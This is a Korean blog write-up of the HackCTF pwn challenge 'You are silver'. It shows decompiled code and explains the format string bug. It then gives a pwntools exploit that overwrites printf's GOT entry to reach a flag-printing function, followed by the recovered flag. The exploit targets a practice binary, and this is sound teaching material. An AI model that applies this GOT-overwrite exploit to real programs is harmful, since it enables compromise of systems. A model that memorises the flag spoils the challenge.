ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • You are silver
    CTF/HackCTF 2021. 2. 1. 20:35

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        char *format;
        int32_t var_8h;
        int64_t var_4h;
        
        setvbuf(_reloc.stdout, 0, 2, 0);
        var_4h._0_4_ = 0x32;
        puts("Please enter your name");
        fgets(&format, 0x2e, _reloc.stdin);
        printf();
        var_8h = get_tier((uint64_t)(uint32_t)var_4h);
        printf((int64_t)var_8h);
        return 0;
    }

    main은 fgets로 입력받은 후 printf를 통해 포맷 스트링 버그가 발생한다.

    이후 var_4h를 인자로 get_tier를 호출하고, get_tier의 반환값을 인자로 printf를 호출한다.

    void get_tier(undefined8 arg1)
    {
        undefined8 var_14h;
        int64_t var_4h;
        
        if ((int32_t)arg1 < 0x33) {
            puts("\nYou are silver.");
        } else {
            if (((int32_t)arg1 < 0x42) && (0x32 < (int32_t)arg1)) {
                puts("\nYou are platinum.");
            } else {
                if (((int32_t)arg1 < 0x4c) && (0x41 < (int32_t)arg1)) {
                    puts("\nYou are master.");
                } else {
                    if (0x4b < (int32_t)arg1) {
                        puts("\nYou are challenger.");
                    }
                }
            }
        }
        return;
    }

     

    get_tier

    get_tier는 인자의 값에 따라 1부터 4 사이의 숫자를 리턴해준다.

    undefined8 play_game(int64_t arg1)
    {
        undefined8 uVar1;
        int32_t iVar2;
        int64_t var_4h;
        
        iVar2 = (int32_t)arg1;
        if (iVar2 == 2) {
    code_r0x00400718:
            puts("platinum can\'t play game. :(");
            exit(0);
    code_r0x0040072e:
            puts("master can\'t play game. Sorry! :(");
            exit(0);
        } else {
            if (iVar2 < 3) {
                if (iVar2 != 1) goto code_r0x00400761;
                puts("SILVER can\'t play game.");
                exit(0);
                goto code_r0x00400718;
            }
            if (iVar2 == 3) goto code_r0x0040072e;
            if (iVar2 != 4) goto code_r0x00400761;
        }
        puts("Challenger. Take this first!");
        system("cat ./flag");
    code_r0x00400761:
        puts("Who are you? get out!");
        iVar2 = 0;
        uVar1 = exit();
    }

    play_game은 인자가 4일 경우 flag를 출력해준다.

    Format String Bug


    var_4h가 0x4b보다 크면 get_tier는 4를 반환하고, 이를 인자로 play_game을 호출하면 된다. 따라서 get_tier의 리턴값을 인자로 호출되는 printf의 got를 덮어쓰면 된다. 따라서 버퍼 오버플로우와 포맷 스트링 버그를 통해 var_4h와 got를 한 번에 조작하면 문제를 해결할 수 있다.

    Code

    더보기
    from pwn import *
    
    binary = "./you_are_silver"
    server = "ctf.j0n9hyun.xyz"
    port = 3022
    
    context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    
    def send_payload(payload):
    	log.info("payload = %s" % repr(payload))
    	p.send(payload)
    
    f = FmtStr(send_payload, offset = 6)
    
    play_game = e.symbols["play_game"]
    printf_got = e.got["printf"]
    
    f.write(printf_got, play_game)
    f.execute_writes()
    
    payload = b"A"*0x4
    payload += b"\x4c"
    p.sendline(payload)
    
    
    p.interactive()

     

    Flag

    HackCTF{N0w_Y0u_4re_b4side_0f_F4K3R}

    'CTF > HackCTF' 카테고리의 다른 글

    Unexploitable #1  (0) 2021.02.04
    ROP  (0) 2021.02.01
    Gift  (0) 2021.02.01
    Loot at me  (0) 2021.02.01
    RTL_Core  (0) 2021.02.01

    댓글

Designed by Tistory.